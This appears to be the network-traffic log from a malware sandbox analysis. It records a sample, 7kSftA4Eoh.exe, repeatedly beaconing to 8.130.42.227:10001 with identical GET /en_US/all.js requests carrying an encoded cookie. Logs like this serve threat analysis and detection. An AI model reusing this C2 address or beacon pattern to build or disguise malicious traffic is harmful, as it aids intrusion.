Oct 1, 2024 09:17:44.808901072 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:45.952497959 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:45 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49775	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:46.076970100 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:47.050570011 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:46 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49776	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:47.170264959 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:48.123918056 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:47 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	49777	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:48.249100924 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:49.197149992 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:49 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49778	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:49.324487925 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:50.296108961 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:50 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49779	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:50.402236938 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:51.369102955 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:51 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49780	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:51.481307983 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:52.431555986 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:52 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49782	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:52.542958975 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:53.539417028 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:53 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49783	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:53.721587896 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:54.689713955 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:54 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49784	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:54.810755968 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:55.758268118 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:55 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49785	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:55.871373892 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:56.837666988 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:56 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49786	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:56.949346066 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:58.517384052 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:57 GMT Content-Type: application/octet-stream Content-Length: 0
Oct 1, 2024 09:17:58.517575026 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:57 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	49787	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:58.640695095 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:17:59.583570004 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:17:59 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	49788	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:17:59.699615955 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:00.651453972 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:00 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	49789	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:00.763720036 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:01.725831985 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:01 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	49790	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:01.840148926 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:02.821022034 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:02 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	49791	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:02.933568954 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:03.911815882 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:03 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49792	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:04.027379036 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:04.981847048 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:04 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49793	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:05.105262995 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:06.064009905 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:05 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49794	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:06.183608055 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:07.142935991 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:06 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49795	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:07.263447046 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:08.247355938 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:08 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49796	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:08.355396986 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:09.322186947 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:09 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49797	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:09.433604956 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:10.406157970 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:10 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49798	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:10.529619932 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:11.475215912 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:11 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49799	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:11.589905977 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:12.557328939 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:12 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49800	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:12.669694901 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:13.613919020 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:13 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49801	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:13.730804920 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:14.684660912 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:14 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49802	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:14.808661938 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
Oct 1, 2024 09:18:15.751969099 CEST	114	IN	HTTP/1.1 200 OK Date: Tue, 1 Oct 2024 07:18:15 GMT Content-Type: application/octet-stream Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49803	8.130.42.227	10001	6992	C:\Users\user\Desktop\7kSftA4Eoh.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 09:18:15.885741949 CEST	404	OUT	GET /en_US/all.js HTTP/1.1 Accept: / Cookie: U8xKatZnnyNf+63tnaD8TNCwft9xIDoOn5nWATLHYRI0eot/X4aumkZd5DZbMvG1sx5bEHETZnT/TBnUjDUQUQ3UYOCE693F4DpvnX6RDKMW/oGiLKJI7ULmBJpsGWqBnJX+6iRysGDxOZnWWgprxoIwVe2OjIqOTHRmR/jLnac= User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; Avant Browser) Host: 8.130.42.227:10001 Connection: Keep-Alive Cache-Control: no-cache
